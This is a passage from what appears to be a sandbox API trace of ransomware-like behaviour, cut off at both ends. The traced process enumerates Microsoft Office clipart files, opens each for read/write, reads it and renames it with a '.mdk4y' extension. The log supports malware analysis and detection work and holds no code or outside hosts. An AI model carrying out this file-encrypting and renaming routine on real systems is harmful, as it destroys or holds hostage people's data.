lpPerformanceCount=0x37dee4*=1821256000000) returned 1 [0137.330] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf.mdk4y")) returned 1 [0137.331] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.331] AreFileApisANSI () returned 1 [0137.331] GetACP () returned 0x4e4 [0137.331] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD00297_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD00297_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.331] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.332] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821256200000) returned 1 [0137.332] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4712, lpOverlapped=0x0) returned 1 [0137.364] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821259400000) returned 1 [0137.364] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821259400000) returned 1 [0137.365] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf.mdk4y")) returned 1 [0137.366] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.366] AreFileApisANSI () returned 1 [0137.366] GetACP () returned 0x4e4 [0137.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD00306_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD00306_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.366] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.366] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821259600000) returned 1 [0137.366] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb6de, lpOverlapped=0x0) returned 1 [0137.380] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821261000000) returned 1 [0137.380] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821261000000) returned 1 [0137.381] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf.mdk4y")) returned 1 [0137.382] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.382] AreFileApisANSI () returned 1 [0137.382] GetACP () returned 0x4e4 [0137.382] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD00336_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD00336_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.382] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.383] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821261300000) returned 1 [0137.383] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x17b4, lpOverlapped=0x0) returned 1 [0137.402] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821263200000) returned 1 [0137.402] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821263200000) returned 1 [0137.402] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf.mdk4y")) returned 1 [0137.403] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.403] AreFileApisANSI () returned 1 [0137.403] GetACP () returned 0x4e4 [0137.403] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD00361_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD00361_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.403] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.403] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821263300000) returned 1 [0137.403] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xfea, lpOverlapped=0x0) returned 1 [0137.411] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821264100000) returned 1 [0137.412] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821264100000) returned 1 [0137.412] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf.mdk4y")) returned 1 [0137.412] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.412] AreFileApisANSI () returned 1 [0137.412] GetACP () returned 0x4e4 [0137.412] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD00369_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD00369_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.412] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.413] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821264300000) returned 1 [0137.413] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2168, lpOverlapped=0x0) returned 1 [0137.429] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821265900000) returned 1 [0137.429] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821265900000) returned 1 [0137.429] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf.mdk4y")) returned 1 [0137.430] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.430] AreFileApisANSI () returned 1 [0137.430] GetACP () returned 0x4e4 [0137.430] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD00382_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD00382_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.430] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.430] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821266000000) returned 1 [0137.431] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x20e8, lpOverlapped=0x0) returned 1 [0137.461] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821269100000) returned 1 [0137.461] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821269100000) returned 1 [0137.462] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf.mdk4y")) returned 1 [0137.462] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.462] AreFileApisANSI () returned 1 [0137.462] GetACP () returned 0x4e4 [0137.462] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD00397_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD00397_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.462] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.463] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821269400000) returned 1 [0137.464] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2a40, lpOverlapped=0x0) returned 1 [0137.484] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821271400000) returned 1 [0137.484] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821271400000) returned 1 [0137.484] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf.mdk4y")) returned 1 [0137.485] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.500] AreFileApisANSI () returned 1 [0137.500] GetACP () returned 0x4e4 [0137.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD00403_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD00403_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.500] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.500] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821273000000) returned 1 [0137.500] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1ec6, lpOverlapped=0x0) returned 1 [0137.571] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821280100000) returned 1 [0137.571] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821280100000) returned 1 [0137.572] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf.mdk4y")) returned 1 [0137.572] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.572] AreFileApisANSI () returned 1 [0137.572] GetACP () returned 0x4e4 [0137.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD00414_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD00414_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.572] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.573] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821280300000) returned 1 [0137.573] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2afa, lpOverlapped=0x0) returned 1 [0137.615] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821284500000) returned 1 [0137.615] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821284500000) returned 1 [0137.616] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf.mdk4y")) returned 1 [0137.616] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.616] AreFileApisANSI () returned 1 [0137.616] GetACP () returned 0x4e4 [0137.616] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD00419_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD00419_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.616] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.617] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821284700000) returned 1 [0137.617] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x400c, lpOverlapped=0x0) returned 1 [0137.636] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821286600000) returned 1 [0137.636] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821286600000) returned 1 [0137.636] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf.mdk4y")) returned 1 [0137.637] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.637] AreFileApisANSI () returned 1 [0137.637] GetACP () returned 0x4e4 [0137.637] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD00428_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD00428_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.637] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.637] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821286700000) returned 1 [0137.637] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x12bc, lpOverlapped=0x0) returned 1 [0137.642] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821287200000) returned 1 [0137.642] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821287200000) returned 1 [0137.642] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf.mdk4y")) returned 1 [0137.643] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.643] AreFileApisANSI () returned 1 [0137.643] GetACP () returned 0x4e4 [0137.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD00435_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD00435_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.643] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.644] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821287400000) returned 1 [0137.644] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x83c, lpOverlapped=0x0) returned 1 [0137.645] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821287500000) returned 1 [0137.645] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821287500000) returned 1 [0137.645] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf.mdk4y")) returned 1 [0137.646] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.646] AreFileApisANSI () returned 1 [0137.646] GetACP () returned 0x4e4 [0137.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD00438_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD00438_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.646] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.646] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821287600000) returned 1 [0137.646] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x13ea, lpOverlapped=0x0) returned 1 [0137.652] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821288200000) returned 1 [0137.652] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821288200000) returned 1 [0137.652] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf.mdk4y")) returned 1 [0137.653] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.653] AreFileApisANSI () returned 1 [0137.653] GetACP () returned 0x4e4 [0137.653] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD00455_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD00455_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.653] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.653] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821288300000) returned 1 [0137.653] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x22de, lpOverlapped=0x0) returned 1 [0137.673] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821290300000) returned 1 [0137.673] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821290300000) returned 1 [0137.674] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft 